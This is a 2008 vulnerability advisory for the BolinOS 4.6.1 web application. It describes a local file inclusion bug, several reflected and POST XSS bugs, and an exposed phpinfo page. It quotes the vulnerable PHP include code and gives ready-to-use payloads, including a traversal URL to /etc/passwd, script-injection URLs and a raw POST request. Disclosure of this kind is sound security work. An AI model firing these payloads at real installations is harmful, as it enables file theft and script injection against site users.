DSECRG-08-022.txt

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Digital Security Research Group [DSecRG] Advisory #DSECRG-08-022  
  
  
Application: BolinOS   
Versions Affected: 4.6.1  
Vendor URL: http://www.bolinos.com  
Bugs: Local File Include,Multiple XSS, System information disclosure  
Exploits: YES  
Reported: 13.03.2008  
Second report: 18.03.2008  
Vendor response: none  
Solution: none   
Date of Public Advisory: 25.03.2008  
Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)  
  
  
  
Description  
***********  
  
BolinOS system has multiple security vulnerabilities:  
  
1. Local File Include  
2. Multiple Linked XSS vulnerabilities  
3. Multiple XSS in POST  
4. System information disclosure  
  
  
  
Details  
*******  
  
1. Local File Include vulnerability found in system/_b/contentFiles/gbincluder.php  
  
  
Code  
****  
#################################################  
  
$actionpagetoinclude=$_GET["_bFileToInclude"];  
if($actionpagetoinclude!="" && @file_exists(gBRootPath."/$actionpagetoinclude")){  
@include(gBRootPath."/$actionpagetoinclude");  
}   
else{  
echo "NO FILE";  
}  
  
#################################################  
  
Example:  
  
http://[server]/[installdir]/system/_b/contentFiles/gbincluder.php?_bFileToInclude=../../../../../../../../../../../../../etc/passwd  
  
---------------------------------------------------------------------  
  
  
2. Multiple linked XSS vulnerabilities found.   
  
2.1 Linked XSS vulnerability found in page /system/actionspages/_b/contentFiles/gBImageViewer.php   
  
Attacker can inject XSS in GET parameter "url"  
  
Example:  
  
http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBImageViewer.php?url=<script>alert('DSecRG XSS')</script>  
  
  
2.2 Linked XSS vulnerability found in page /system/actionspages/_b/contentFiles/gBselectorContents.php   
  
Attacker can inject XSS in GET parameter "ForEditor".  
  
Example:  
  
http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBselectorContents.php?ForEditor='><IMG%20SRC="javascript:alert('DSecRG XSS')">  
  
  
2.3 Linked XSS vulnerabilities found in following pages:  
  
/system/actionspages/_b/contentFiles/gBLoginPage.php  
/system/actionspages/_b/contentFiles/gBPassword.php  
  
Attacker can inject XSS script in URL  
  
Example:  
  
http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBLoginPage.php/"><script>alert('DSecRG XSS')</script>  
http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBPassword.php/"><script>alert('DSecRG XSS')</script>  
  
---------------------------------------------------------------------  
  
  
3. Multiple XSS in POST vulnerabilities, attacker can inject XSS in POST parameter.  
  
3.1 Vulnerability found in script /system/actionspages/_b/contentFiles/gBLoginPage.php   
  
POST parameter "formlogin".  
  
Example:  
  
POST /bolinos/system/actionspages/_b/contentFiles/gBLoginPage.php?bAddress=bolinos.sessions HTTP/1.0  
Content-Length: 81  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; DS; .NET CLR 2.0.50727)  
  
formlogin=%27><img%20src%3d%22javascript:alert(%27DSecRG%20XSS%27)%22>&BtLogin.x=  
  
  
3.2 Vulnerability found in page /help/index.php   
  
POST parameter "bolini_searchengine46Search".  
  
Example:  
  
bolini_searchengine46Search = '><IMG SRC=javascript:alert("DSecRG&#x20;XSS")>  
  
--------------------------------------------------------------------  
  
  
4. System information disclosure  
  
Non-authentication user can access phpinfo() page.  
  
http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBphpInfo.php  
  
  
  
About  
*****  
  
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.  
  
  
Contact: research [at] dsec [dot] ru  
http://www.dsec.ru (in Russian)  
  
  
  
  
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